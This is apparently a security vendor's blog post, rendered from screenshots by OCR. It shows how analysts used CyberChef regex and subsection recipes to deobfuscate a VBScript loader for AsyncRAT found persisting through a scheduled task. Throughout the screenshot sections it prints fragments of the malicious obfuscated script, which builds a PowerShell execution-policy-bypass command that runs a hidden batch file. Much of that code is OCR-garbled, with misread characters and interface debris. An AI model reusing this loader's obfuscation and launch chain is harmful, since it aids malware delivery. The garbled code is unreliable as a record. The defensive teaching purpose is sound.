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The Huntress SOC team encountered and investigated an infection involving a malicious malware loader on a
Huntress-protected host. This investigation was initiated via persistence monitoring, which triggered on a

suspicious visual basic (.vbs) script persisting via a scheduled task.

Footholds

Foothold 1 - i " B u -
Name: UPFCRQOFGHVNBVUABXGFIW
Task File: C:\WINDOWS\System32\Tasks\UPFCRQOFGHVNBVUABXGFIW

Command: C:\ProgramData\UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW.vbs
Username: SSEusm. B s

File Path: c:\programdata\upfcrgofghvnbvuabxgfiw\upfcrqofghvnbvuabxgfiw.vbs
VirusTotal Detections: Not Found - https://www.virustotal.com/#/file
/@7e25cb7d427ac@47f53b3badceacf6fc5fb395612ded5d3566a09800499cd7d

If you would like to follow along, here is a link to the malware sample.

(If you do choose to follow along, make sure you do so inside of a safe virtual machine and not on your host

computer)
Let's Get Started

The initial investigation was for a persistent .vbs file residing inside of a user's startup directory. There are few
legitimate reasons for a .vbs file to be persistent, so we immediately obtained the file for further analysis and

investigation.

Given that .vbs is text-based, we transferred the file into an analysis Virtual Machine and opened it using a text

editor. Upon realizing the script was obfuscated, we transferred the contents into CyberChef.

Analysing the File

The obfuscated contents of the script can be seen below.

There are numerous forms of obfuscation used - (Chr(45), StrReverse, Replace, etc.)
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Input +0O38 =

UVXVCAEWLJCGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""&chr(111)&"Pr'&chr(111)&""+" fil"&chr(69)&"
"&chr(45)&""&chr(69)&" x"&chr(69)&" c"+"uti"&chr(111)&""&chr(110)&"P"&chr(111)&" 1"+"icy
Byp"+""&chr(97)&""&chr(115)&""&chr(115)&"

"&chr(45)&"C"&chr(111)&" "&chr(109)&" " +""&chr(109)&" " "&chr(97)&""&chr(110)&"d
C:\Pr"&chr(111)&""+"gr"&chr(97)&""&chr(109)&"D"+""&chr(97)&"t"&chr(97)&" "&" \UPFCRQOF GHVNBVUABXGF IW
\UPFCRQOFGHVNBVUABXGFIW.b"&chr(97)&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80)&"_"&
chr(508)&""),"IEGKBYVVFEPXFBDSLDYDUP", ""&chr(83)&"")

XFGOESLXRCJJCRHXBZBPTS =

Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&chr(78)&"") , " GTBUVVAKXHWYSDLSUYFROA", ""&chr(51)&"" ) &KAYWWOXZXNUAS
UEWKCHFKL&Replace(StrReverse(""&chr(82)&"atCITRNIDHPHBVHVENTTKXPO" ) , " OPXKTTNEVHVBHPHDINRTIC", ""&chr(83)&"")
WGXOORXASAPQVFKSUEONCP=

Replace(StrReverse("W: JFSKGAKLHXXQRQQPAUNUPZvmi" ) , " ZPUNUAPQQRQXXHLKAGKSFJ","""&chr(50)&"")
UYPNHFVADWURHNHZPINPTA =

Replace(StrReverse("c\"&chr(84)&"ZIVAUVTTKFKKTNDVGTQRATZIVAUVTTKFKKTNDVGTQRAI" ) , "TARQTGVDNTKKFKTTVUAVIZ" ,""&c
hr(79)&"") &WGXOORXASAPQVFKSUEONCP&Replace(StrReverse (" CRPEZHYCIWUYGSGUCUNGSBni") , ""BSGNUCUGSGYUWICYHZEPRC", ""'&
chr(51)&"")

EXUVOYHXQTCDOGNOFYCNEI =

Replace(StrReverse("r:"&chr(83)&"VKLPWOTKLXHQANTSGUNBOP" &chr(77)&"") , " POBNUGSTNAQHXLKTOWPLKV",""&chr(84)&"" )&
mc 4470 = 21 Tr Raw Bytes ¢ LF

Output R0 ®::

UVXVCAEWLJCGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""&chr(111)&"Pr'&chr(111)&" "+ fil"&chr(69)&"
"&chr(45)&""&chr(69)&"x"&chr(69)&" c"+"uti"&chr(111)&" "&chr(110)&"P"&chr(111)&" 1" +" icy
Byp"+""&chr(97)&""&chr(115)&""&chr(115)&"
"&chr(45)&"C"&chr(111)&" " "&chr(109)&" " +""&chr(109)&""&chr(97)&""&chr(110)&"d
C:\Pr"&chr(111)&""+"gr"&chr(97)&""&chr(109)&"D"+""&chr(97)&"t"&chr(97)&" "&" \UPFCRQOFGHVNBVUABXGF IW
\UPFCRQOFGHVNBVUABXGFIW. b"&chr(97)&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor'&chr(80)&"_"&
chr(50)&""),"IEGKBYVVFEPXFBDSLDYDUP", ""&chr(83)&"")

XFGOESLXRCJICRHXBZBPTS =

Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&chr(78)&""), " GTBUVVAKXHWYSDLSUYFROA", " "&chr(51)&"" ) &KAYWWOXZXNUAS
UEWKCHFKL&Replace(StrReverse(""&chr(82)&"atCITRNIDHPHBVHVENTTKXPO" ) , " OPXKTTNEVHVBHPHDINRTIC", ""&chr(83)&"")
WGXO00RXASAPQVFKSUEONCP=

Replace(StrReverse("W: JFSKGAKLHXXQRQQPAUNUPZvmi" ) , "' ZPUNUAPQQRQXXHLKAGKSFJ", """&chr(50)&"")
UYPNHFVADWURHNHZPINPTA =

Replace(StrReverse("c\"&chr(84)&"ZIVAUVTTKFKKTNDVGTQRAIZIVAUVTTKFKKTNDVGTQRAI" ), “"IARQTGVDNTKKFKTTVUAVIZ" , """ &c
hr(79)&"" ) 8WGXOORXASAPQVFKSUEONCP&Rep lace(StrReverse (" CRPEZHYCIWUYGSGUCUNGSBni") , "BSGNUCUGSGYUWICYHZEPRC" ,""'&
mc 4470 = 21 @ 3ms  Tr Raw Bytes < LE

We simplified the script using a syntax highlighter set to "vbscript".

Syntax highlighting is a simple and effective means to improve the readability of an obfuscated script, prior to

doing any form of manipulation or analysis.

Tip: Leaving the language as “auto-detect” will work, but we have found that highlighting is significantly quicker

if specified manually. This also solves the occasional issue where Cyberchef incorrectly identifies the language of

an obfuscated script.
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Recipe B3 input + 038 =
I © 11 UVXVCAEWLICGGPDCUNGVGU = "“Schr(45)&""&chr(110)8" “&chr(111)&"Pri&chr(111)&""+" fil"&chr(69)&"

jes = "&chr(45)&""&chr(69)&"x"&chr(69)&" c"+"uti"&chr (111)&""&chr(110)&"P"&chr(111)&" 1"+" icy

- Byp"+""&chr(97)&""&chr(115)&""&chr(115)&"

vbscript "&chr(45)&"C"&chr(111)&""&chr(109)&" "+ "&chr (109)&""&chr(97)&""&chr (110)&"d

C:\Pr"&chr(111)&""+"gr"&chr(97)&""&chr(109)&"D"+""&chr(97)&"t"&chr(97)&""&" \UPFCRQOFGHVNBVUABXGF IW
\UPFCRQOFGHVNBVUABXGFIW.b"&chr(97)&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor''&chr(80)&"_"&

chr(50)&"")," IEGKBYVVFEPXFBDSLDYDUP", ""&chr(83)&"")

XFGOESLXRCJICRHXBZBPTS =

Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&chr(78)&"" ), " GTBUVVAKXHWYSDLSUYFROA" , " "&chr(51)&"" ) &KAYWWOXZXNUAS
UEWKCHFKL&Replace (StrReverse(""&chr(82)&"atCITRNIDHPHBVHVENTTKXPO" ) , " OPXKTTNEVHVBHPHDINRTIC", ""&chr(83)&"")

mc 4470 = 21 Tr Raw Bytes & LF

Output B0OmE::

UVXVCAEWLICGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""&chr(111)&"Pr"&chr(111)&""+" fil"&chr(69)&"
“&chr(45)&""&chr(69)&" x"&chr(69)&" c"+"uti"&chr(111)&" " &chr(110)&" P &chr(111)&" 1"+ icy
Byp"+""&chr(97)&""&chr(115)&""&chr(115)&"
"&chr(45)&"C"&chr(111)&""&chr(109)&""+""&chr(109)&""&chr(97)&""&chr(110)&"d
C:\Pr"&chr(111)&""+"gr"&chr(97)&""&chr(109)&"D"+""&chr(97)&" t"&chr(97)&" " &" \UPFCRQOFGHVNBVUABXGF IW
\UPFCRQOFGHVNBVUABXGFIW.b"&chr(97)&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80)&"_"&
chr(50)&""),"IEGKBYVVFEPXFBDSLDYDUP",""&chr(83)&"")

XFGOESLXRCJJCRHXBZBPTS =

Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&chr(78)&"") , "GTBUVVAKXHWYSDLSUYFROA", " "&chr(51)&"" ) SKAYWWOXZXNUAS
UEWKCHFKL&Replace(StrReverse(""&chr(82)&"atCITRNIDHPHBVHVENTTKXPO" ) , " OPXKTTNEVHVBHPHDINRTIC", ""&chr(83)&"")
WGXOORXASAPQVFKSUEONCP=

Replace(StrReverse('"W: JFSKGAKLHXXQRQQPAUNUPZvmi") , " ZPUNUAPQQRQXXHLKAGKSFJ", ""&chr(50)&"")
UYPNHFVADWURHNHZPINPTA =

Replace(StrReverse("c\"&chr(84)&"ZIVAUVTTKFKKTNDVGTQRAIZIVAUVTTKFKKTNDVGTQRAI" ) , " IARQTGVDNTKKFKTTVUAVIZ" , """ &C
hr(79)&"" ) &WGX0ORXASAPQVFKSUEONCP&Replace (StrReverse (" CRPEZHYCIWUYGSGUCUNGSBni") , "BSGNUCUGSGYUWICYHZEPRC" , """ &
chr(51)&"")

Obfuscation 1: Decimal Encoded Values

Delving into the first few lines of output, there are numerous numerical values scattered around. Each numerical

value is contained within a “chr” function.

A quick Google reveals that "chr" is a built-in visual basic function that converts decimal values into their

plaintext/ascii representation.

You can find a reference to the chr function here and here. You can also find a full list of decimal values and their

ASCII equivalents here.

Here are the “chr” obfuscated values in their original obfuscated form.

-— - —_— g == ——

UVXVCAEWLICGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""&chr(111)&"Pr"&chr(111)&""+" fil"&chr(69)&"
"&chr(45)&""&chr(69)&"x"&chr(69)&" c"+" uti"&chr(111)&""&chr(110)&"P"&chr(111)&" 1"+"icy
Byp"+""&chr(97)&""&chr(115)&""&chr(115)&"

"&chr(45)&"C"&chr(111)&" "&chr(109)&""+""&chr(109)&""&chr(97)&""&chr(110)&"d
C:\Pr"&chr(111)&""+"gr"&chr(97)&" "&chr(109)&"D"+""&chr(97)&"t"&chr(97)&""&" \UPFCRQOFGHVNBVUABXGFIW
\UPFCRQOFGHVNBVUABXGFIW.b"&chr(97)&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80)&" _"&

These numerical values can be crudely decoded using CyberChef, by manually copying out each value and

applying "From Decimal".
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Recipe S W] Input +

A - 45 110 111 111 69 45 69 69 111 110 111 97 115 115
From Decimal NV |

Delimiter

Space D Support signed values
mc 49 = 1

Output

—nooE-EEonoass

Manually copying the values is simple and will work most of the time, but it is time-consuming for a large script

and requires an analyst to manually copy the results back into the original script.

We'll now show how to automate this process using CyberChef.

Obfuscation 1: Automating the From Decimal Using CyberChef

To automate the decimal decoding, the ThreatOps team utilized some regex and advanced CyberChef tactics.

At a high level, this consisted of:

e Developing a regex that would find decimal encoded values (locate the encoded data)

» Converting this regex into a subsection (this tells CyberChef to act ONLY on the encoded data)
o Extracting decimal values (Remove the "chr" and any surrounding data)

e Decoding the results (Perform the "From Decimal" decoding)

e Removing surrounding junk (Cleaning up any remaining junk)

¢ Restoring the script back to “normal”
So let’s see that in action.

We first implemented a regex pattern to automatically highlight and extract “chr” encoded values from the original

script.

As a means of testing our initial regex, we utilized the “Regular Expression” and “Highlight Matches” option in
CyberChef.

This allowed the effectiveness of our regex to be observed in real-time.
If anything didn’t match as intended, we could easily adjust the Regex and the highlighting would update

accordingly.
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Recipe

Regular expression

Built in regexes
User defined

Regex

Vi

Case insensitive [% ~ and $ match at newlines

[J] Dot matches all [J unicode support

|:| Astral support D Display total

Output format
Highlight matches

Input + 028 =
UVXVCAEWLJCGGPDCUNGVGU =
""&chr(45)&""&chr(110)&""&chr(111)&"Pr"&chr(111)&""+" fil"&chr(69)&"
"&chr(45)&""&chr(69)&"x"&chr(69)&" c"+"uti"&chr(111)&""&chr(110)&"P"&chr(111)&" 1"
+"icy Byp"+""&chr(97)&""&chr(115)&""&chr(115)&"
"&chr(45)&"C"&chr(111)&""&chr(109)&""+""&chr(109)&'""&chr(97)&""&chr(110)&"d
C:\Pr"&chr(111)&""+"gr"&chr(97)&""&chr(109)&"D"+""&chr(97)&"t"&chr(97)&""&"
\UPFCRQOFGHVNBVUABXGF IW\UPFCRQOFGHVNBVUABXGFIW. b"&chr(97)&"t"
KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&
chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80)&"_"&

chr(50)&""), "IEGKBYVVFEPXFBDSLDYDUP",""&chr(83)&"")

e 4470 = 21 Tr Raw Bytes

BOMmE::

« LF

Output

UVXVCAEWLICGGPDCUNGVGU =

""&chr(45)&""&chr(110)&8""&chr(111)&"Pr"&chr(111)&""+" fil"&chr(69)&"
"&chr(45)&""&chr(69)&"x"&chr(69)&" c"+"uti"&chr(111)&""&chr(110)&"P"&chr(111)&" 1"
+"icy Byp"+""&chr(97)&""&chr(115)&""&chr(115)&"
"&chr(45)&"C"&chr(111)&""&chr(109)&""+""&chr(109)&""&chr(97)&""&chr(110)&"d
C:\Pr"&chr(111)&""+"gr"&chr(97)&""&chr(109)&"D"+""&chr(97)&"t"&chr(97)&""&"
\UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW.b"&chr(97)&"t"
KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&
chr(83)&"PUDYDLSDBFXPEFVVYBKGELecor"&chr(80)&"_"&

chr(50)&""), " IEGKBYVVFEPXFBDSLDYDUP" ,""&chr(83)&"")

XFGOESLXRCJJCRHXBZBPTS =
Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&chr(78)&"" ), " GTBUVVAKXHWYSDLSUYFROA"
,""&chr(51)&"") SKAYWWOXZXNUASUEWKCHFKL&Rep lace (St rReverse (" "&chr(82)&"atCITRNIDH
PHBVHVENTTKXPQO" ) , "OPXKTTNEVHVBHPHDINRTIC",""&chr(83)&"")

WGX00RXASAPQVFKSUEONCP=
Replace(StrReverse("W:JFSKGAKLHXXQRQQPAUNUPZvmi") , "' ZPUNUAPQQRQXXHLKAGKSFJ", ""&ch
r(5e)&"")

The “Highlight Matches” provides similar functionality to the popular regex testing site regex101.

REGULAR EXPRESSION
chr\(\d+\)
TEST STRING

UVXVCAEWLJICGGPDCUNGVGU- =

60 matches (506 steps, 2.0ms)

O

""&chr (45)&""&chr(110)&""&chr(111)&"Pr"&chr (111)&""+"fil"&chr (69)&"

"&chr(45)&""&chr(69)&"x"&chr (69)&"c"+"uti"&chr (111)&""&chr (110)&"P"
&chr (111)&"1"+"+icy-Byp"+""&chr (97)&""&chr (115)&""&chr (115)&"
"&chr(45)&"C"&chr (111)&""&chr (109)&""+""&chr (109)&""&chr (97)&""&chr
(110)&"d
C:\Pr"&chr(111)&""+"gr"&chr (97)&""&chr (109)&"D"+""&chr (97)&"t"&chr (
97)&""&"\UPFCRQOFGHVNBVUABXGFIW

A visual representation of the regex can be seen here - courtesy of regexper.com.

(Regexper.com is an excellent site for visually learning and testing regex)
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@- “chr(’ _C digit T Yy @

The regex successfully matched the “chr” and encoded numerical values, so we then converted it into a

“subsection”.

A subsection takes a regex as input, and forces all future operations to match only on values that match the regex.
The process of "converting to a subsection", is just copy-and-pasting the regex from "Regular Expression" to

"Subsection".
What is a subsection?

A TLDR: A subsection is a feature of CyberChef that forces all future operations to apply only to values that
match a provided regex. (Eg the highlighted values from previous screenshots)

A subsection is an effective way to “hone in” on particular content or values, allowing bulk operations without
mangling the entire script.

This was useful to avoid accidentally decoding numerical values which are unrelated to the “chr” functions and

encoding.

To hone in on our values, we replaced our previous regex with a subsection. (Making sure to keep the regex the

same)

Recipe B8 mnput +0Os3i =

UVXVCAEWLICGGPDCUNGVGU = ""&chr(45). hr(110)&""&chr(111)&"Pr '&chr(111)&"" il"&chr(69)&"
"&chr (45)&""&chr(69) &"x"&chr (69)&"c"+"uti"&chr(111) & "&chr (110)&"P"Schr(111)&" 1"+ icy
Seetion regei) Byp"+""&chr(97)&""&chr(115)&""&chr (115)&"
chr\(\d+\) I8 Case sensitive matching  "&chr (45)&"C"&chr(111)&""&chr (109)&""+""&chr (109) &""&chr (97)&""&chr (110) &"d
C:\Pr"&chr(111)&""+"gr"&chr(97)&""&chr(109)&"D"+""&chr(97)&" t"&chr(97)&" " &" \UPFCRQOFGHVNBVUABXGF IW
\UPFCRQOFGHVNBVUABXGFIW. b"&chr(97)&"t"
Global matching [ tgnore errors KAYWWOXZXNUASUEWKCHFKL =Replace (StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80)&"_"&
chr(50)&""), " IEGKBYVVFEPXFBDSLDYDUP" ,""&chr (83)&"" )
XFGOESLXRCJJCRHXBZBPTS =
Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&chr(78)&"") , " GTBUVVAKXHWYSDLSUYFROA" ,""&chr(51)&"" ) &KAYWWO
XZXNUASUEWKCHFKLSReplace (St rReverse (""&chr (82) &"at CITRNIDHPHBVHVENTTKXPO" ) , " OPXKTTNEVHVBHPHDINRTIC" , "*

Subsection Oomn

&chr(83)&"")

WGXOORXASAPQVFKSUEONCP=

Renlace(StrRevercal "W: 1FSKGAKI HYXNRANPAINIIPZymi ") " 7PINIAPANRNXYHI KAGKSF1" 1K chr (KA)KM")

we 4470 = 21 Tr Raw Bytes ¢ LF
Output A0DmE::

UVXVCAEWLICGGPDCUNGVGU = ""&chr (45)&"""&chr(110)&""&chr(111)&"Pr'&chr(111)&""+" fil"&chr(69)&"
"&chr(45)&""&chr(69)&"x"&chr(69)&"c"+"uti"&chr(111)&""&chr(110)&"P"&chr(111)&" 1"+"icy
Byp"+""&chr(97)&""&chr(115)&""&chr(115)&"

"&chr(45)&"C"&chr(111)&" "&chr(109)&""+""&chr(109) &""&chr(97)&" "&chr(110) &"d
C:\Pr&chr(111)&""+"gr"&chr(97)&""&chr(109)&"D"+""&chr(97)&"t"&chr(97) &" " &" \UPFCRQOFGHVNBVUABXGF IW
\UPFCRQOFGHVNBVUABXGFIW. b"&chr(97)&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace (StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80)&" _"&
chr(50)&""),"IEGKBYVVFEPXFBDSLDYDUP","""&chr(83)&"")

XFGOESLXRCJJCRHXBZBPTS =

Replace(StrReverse ("AORFYUSLDSYWHXKAVVUBTG"&chr(78)&"") , "GTBUVVAKXHWYSDLSUYFROA" , “"&chr(51)&"" ) SKAYWWO
XZXNUASUEWKCHFKL&Replace (St rReverse ("*"&chr(82) &"at CITRNIDHPHBVHVENTTKXPO" ) , " OPXKTTNEVHVBHPHDINRTIC" , "*
&chr(83)&"")

E——

At first glance this isn't exciting - but the true power arrives when the recipe is expanded.
For example, the “chr” can now be easily removed, leaving only the brackets () and decimal values.

By applying the subsection before the find/replace, we can use the "chr" as a marker to hone in on specific values.

We could skip the subsection and go straight to find/replace, but this may result in accidentally acting on other
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numerical values that are unrelated to our current decoding.

Recipe

Subsection

Section (regex)

chr\(\d+\)
Global matching

Find / Replace

Find

chr REGEX ~

Global match ] Case insens

[ pot matches all

omn

Case sensitive matching

[ ignore errors

Replace

itive Multiline matching

Input + O3 @ =

UVXVCAEWLICGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""&chr(111)&"Pr"&chr(111)&""+"fil"&chr(69)&"
"&chr(45)&""'&chr(69)&"x"&chr(69)&" c"+" uti"&chr(111)&""&chr(118)&"P"&chr(111)&" 1"+ icy
Byp"+""&chr(97)&""&chr(115)&""&chr(115)&"

"&chr(45)&"C"&chr(111)&""&chr(109)& "&chr(109)&""&chr(97)&""&chr(110)&"d
C:\Pr'&chr(111)&""+"gr"&chr(97)&""&chr(109) &"D"+""&chr (97)&"t"&chr(97) &""&" \UPFCRQOFGHVNBVUABXGF IW
\UPFCRQOFGHVNBVUABXGF IW. b"&chr(97)&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80)&"_"&
chr(50)&""), "IEGKBYVVFEPXFBDSLDYDUP",""&chr(83)&"")

XFGOESLXRCIICRHXBZBPTS =

Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&chr(78)&"" ), "GTBUVVAKXHWYSDLSUYFROA" ,""&chr(51)&"") &KAYWWO
XZXNUASUEWKCHFKL&Replace (StrReverse('"&chr(82)&"at CITRNIDHPHBVHVENTTKXPO" ) , " OPXKTTNEVHVBHPHDINRTIC" , ""
&chr(83)&"")

WGXOORXASAPQVFKSUEONCP=

Renlare(StrRevarcal "W TFSKGAKI HXYNRNNPAIINIIPZymi™ ) " 7PINIAPNNRNXXHI KAGKSF 1" ""Srhr(RSAIEM" )

mc 4470 = 21 Tr Raw Bytes « LF
Output a0 ®:o

UVXVCAEWLICGGPDCUNGVGU = ""&(45)&""&(110)&""&(111)&"Pr &(111)&" "+"fil"&(69)&" "&(45)&""&(69)&"x"&
(69)&"c"+"uti"&(111)&""&(110)&"P"&(111)&" 1" +"icy Byp"+""&(97)&""&(115)&""&(115)&" "&(45)&"C"&(111)&""&
(109)&""+'""'&(109) &""&(97)&""&(110)&"d C:\Pr"&(111)&""+"gr"&(97)&""&(109)&"D"+""&(97) & t"&(97) &""&"
\UPFCRQOFGHVNBVUABXGF IW\UPFCRQOFGHVNBVUABXGFIW. b"&(97)&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&(80)&"
(50)&""),"IEGKBYVVFEPXFBDSLDYDUP",""'&(83)
XFGOESLXRCJICRHXBZBPTS = Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&

(78)&"") ,""GTBUVVAKXHWYSDLSUYFROA", ""&(51) &" " ) &KAYWWOXZXNUASUEWKCHFKL&Replace (St rReverse(""&
(82)&"atCITRNIDI TTKXPO") , "OPXKT INRTIC",""&(83)&"")

WGXOORXASAPQVFKSUEONCP= Replace(StrReverse("W:JFSKGAKLHXXQRQQPAUNUPZvmi") , " ZPUNUAPQQRQXXHLKAGKSFJ" , " "&
(50)&"")

A second regex can now be applied, this will extract only the numerical values our previous regex.

In the below screenshot - note how “chr(45)” becomes “45” and “chr(110)” becomes “110” and so on.

Recipe

Subsection

Section (regex)

chr\(\d+\) Mca

(ST

se sensitive matching

Global matching [ 1gnore errors

Regular expression

Built in regexes
User defined

Regex

\d+

Case insensitive ~ and $ match at newlines

[ Dot matches all (] Unicode support

Output format

[pisplay total List matches

D Astral support

Input + o= =

UVXVCAEWLICGGPDCUNGVGU = ""&chr(45)&""&chr(110)&""&chr(111)&"Pr"'&chr(111)&""+" fil"&chr(69)&"
"&chr(45)&""&chr(69)&"x"&chr(69)&" c"+"uti"&chr(111)&""&chr(110)&"P"&chr(111)&" 1"+"icy
Byp"+""&chr(97)&""&chr(115)&""&chr(115)&"
"&chr(45)&"C"&chr(111)&" " "&chr(109)&" "+ "&chr(109)&" "&chr(97)&""&chr(110)&"d
C:\Pr&chr(111)&""+"gr"&chr(97)&""&chr(109)&"D"+""&chr(97)&"t"&chr(97)&" " &" \UPFCRQOFGHVNBVUABXGF IW
\UPFCRQOFGHVNBVUABXGFIW.b"&chr(97)&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor"&chr(80)&"_"&
chr(50)&"") , "IEGKBYVVFEPXFBDSLDYDUP",""&chr(83)&"")

XFGOESLXRCJJICRHXBZBPTS =

Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&chr(78)&"" ), "GTBUVVAKXHWYSDLSUYFROA" , ""&chr(51)&"" ) &KAYWW(
XZXNUASUEWKCHFKL&Replace(StrReverse(""&chr(82)&"atCITRNIDHPHBVHVENTTKXPO" ) , "' OPXKTTNEVHVBHPHDINRTIC" , "
&chr(83)&"")

WGXOORXASAPQVFKSUEONCP=

Renlaral&trRevarce("W: TFSKRAKI HXXNRANPAIINIIPZumi ™) “7PIINIAPANRNXXHI KAGKSF1" ““Lrhr(50)1K"")

e 4470 = 21 Tr Raw Bytes « LI
Output B0 m:a

UVXVCAEWLICGGPDCUNGVGU = ""&45&""&1108""&111&"Pr &111&" "+" 11" §695"

"E45E"EBIE" X" BBOE" €+ Ut "81116" "§1106"P"E1118" 1"+" icy Byp"+""&O7&""&1156""61158"

6456 CE1116" "E1006" "+ "61096" "E97E" "E1108"d C:\PrUEL11&" "+ gr' 6076 "5100" D" +" 16976 " 697" &M
\UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW . b"&976" t"

KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse (""&83&"PUDYDLSDBFXPEFVVYBKGETecor 888" &

508"") , " TEGKBYVVFEPXFBDSLDYDUP" , " "&83&"")

XFGOESLXRCJICRHXBZBPTS =

Replace(StrReverse ("AORFYUSLDSYWHXKAVVUBTG"&78&"™" ) , "GTBUVVAKXHWYSDLSUYFROA" , ""§516"" ) &KAYWWOXZXNUASUE}
KCHFKL&Replace (StrReverse (""&82&"at CITRNIDHPHBVHVENTTKXPO" ), " OPXKTTNEVHVBHPHDINRTIC" , " "&83&"")
WGXOORXASAPQUFKSUEONCP=

Replace(StrReverse (“W: JFSKGAKLHXXQRQQPAUNUPZVMA" ) , " ZPUNUAPQQROXXHLKAGKSFJ" , " *&506"" )
UYPNHFVADWURHNHZPINPTA =

Replace(StrReverse (" c\"&84&" ZIVAUVTTKFKKTNDVGTQRATZIVAUVTTKFKKTNDVGTQRAT " ) , " TARQTGVDNTKKFKTTVUAVIZ" , !
&796"" ) SGXOORXASAPQUFKSUEONCP&Rep Lace (St rReverse (" CRPEZHYCIWUYGSGUCUNGSBNA" ) , "BSGNUCUGSGYUWICYHZEPRC!
SUES16M)

Honing in on those results, we can see that the “chr” and “()” have been removed. This leaves only the

integers/numerical values, as well as the “& used for string concatenation. (We’ll deal with these later.)

Output

BO®::

UVXVCAEWLICGGPDCUNGYGU = ""&45&""&110&""&111&"Pr"&111&" " +" fi1"&69&"
"&45&" " &B9& " X"&B9& "+ U1 &111&" " &110& P &111& " 1M+ icy Byp"+""&O7&" " &115&" "&115&"

"§456"C"&1116" " &1098" " +" "&1096" "898  "&1106"d C:\Pr"&111&""+"gr"&976" "&109&" D" +" "&976" t"&ITE""

\UPFCRQOFGHVNBVUABXGFIW\UPFCRQOFGHVNBVUABXGFIW.b"&97&"t"
KAYWWOXZXNUASUEWKCHFKL =Replace(StrReverse(""&83&"PUDYDLSDBFXPEFVVYBKGEIecor"&80&" _"&
50&"")," IEGKBYVVFEPXFBDSLDYDUP" ,""&83&"")

A “from decimal” can then be added, which will convert those numerical values back into ASCII.
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Recipe

Subsection

Section (regex)

chr\(\d+\)
Global matching

Regular expression

Built in regexes

User defined

Regex

\d+

Case insensitive

[ pot matches all

[ pisplay total

From Decimal

Delimiter
Space

https://www.huntress.com /blog/advanced-cyberchef-tips-asyncrat-loader

on

Case sensitive matching

D Ignore errors

~ and $ match at newlines

I:\ Unicode support [:\ Astral support

Output format
List matches

en

D Support signed values

+Oz3 =

UVXVCAEWLICGGPDCUNGVGU = ""&chr (45)&""&chr (110)&""&chr (111)&"Pr &chr(111)&"" +" fil"&chr (69)&"

“&ehr (45)&""&chr (69)&"x"&chr (69)&" ¢ +"uti"&chr (111)&""&chr (110)&"P"&chr (111)6" 1"+ icy
Byp"+""&chr(97)8""&chr (115)&""&chr (115)&"
"&chr(45)&"C"&chr(111)&" "&chr (109)&" "+ "&chr (109)&" "&chr(97)&" "&chr(110) &"d

C:\Pr &chr(111)& "+ gr&chr(97)&""&chr (109)&" D"+ "&chr (97)&" t"&chr (97) &"*&" \UPFCRQOFGHVNBVUABXGF TW
\UPFCRQOFGHVNBVUABXGFIW. b *&chr (97)&"t"

KAYWWOXZXNUASUEWKCHFKL =Replace (StrReverse(""&chr(83)&"PUDYDLSDBFXPEFVVYBKGEIecor &chr (80)6"_"&
chr(50)&"") , " TEGKBYVVFEPXFBDSLDYDUP" ,""&chr (83)&"")

XFGOESLXRCIICRHXBZBPTS =
Replace(StrReverse("AORFYUSLDSYWHXKAVVUBTG"&chr (78)&"" ), "GTBUVVAKXHWYSDLSUYFROA™ , ""&chr (51)&"" ) GKAYWWO
XZXNUASUEWKCHFKLSReplace (StrReverse (""&chr(82)&"atCITRNIDHPHBVHVENTTKXPO" ) , "OPXKTTNEVHVBHPHDINRTIC" "
&chr(83)&"")

Input

WGX0ORXASAPQVFKSUEONCP=
Renlaral(StrRevercal "W+ TFSKRAKI HXXNRNANPAIINIIPZymi™) "ZPIINIARPNNRNXYHI KAGKSFI" ""Lrhr(RAVR"")

w4470 = 21 Tr Raw Bytes ¢ LF
Output DM
UVXVCAEWLICGGPDCUNGVGU = ""&-&""En&""S08" PrGo&™ "+ F11"SEL"

"6 GEG" X" SE&"C"H UL 1" BO&" "ENE P EO&" "+ iy Byp"+""8ak" "EsE" " EsE"

6" C" 60" EME" "+ EME! "§a6" "ENG"d C:\Pr&OE" 4" gr'6ag " EmE" D" +" " §ak" £ 6ak!" " &" \UPFCRQOFGHVNBVUABXGF TW
\UPFCRQOFGHVNBVUABXGF IW. b"&a&"t"

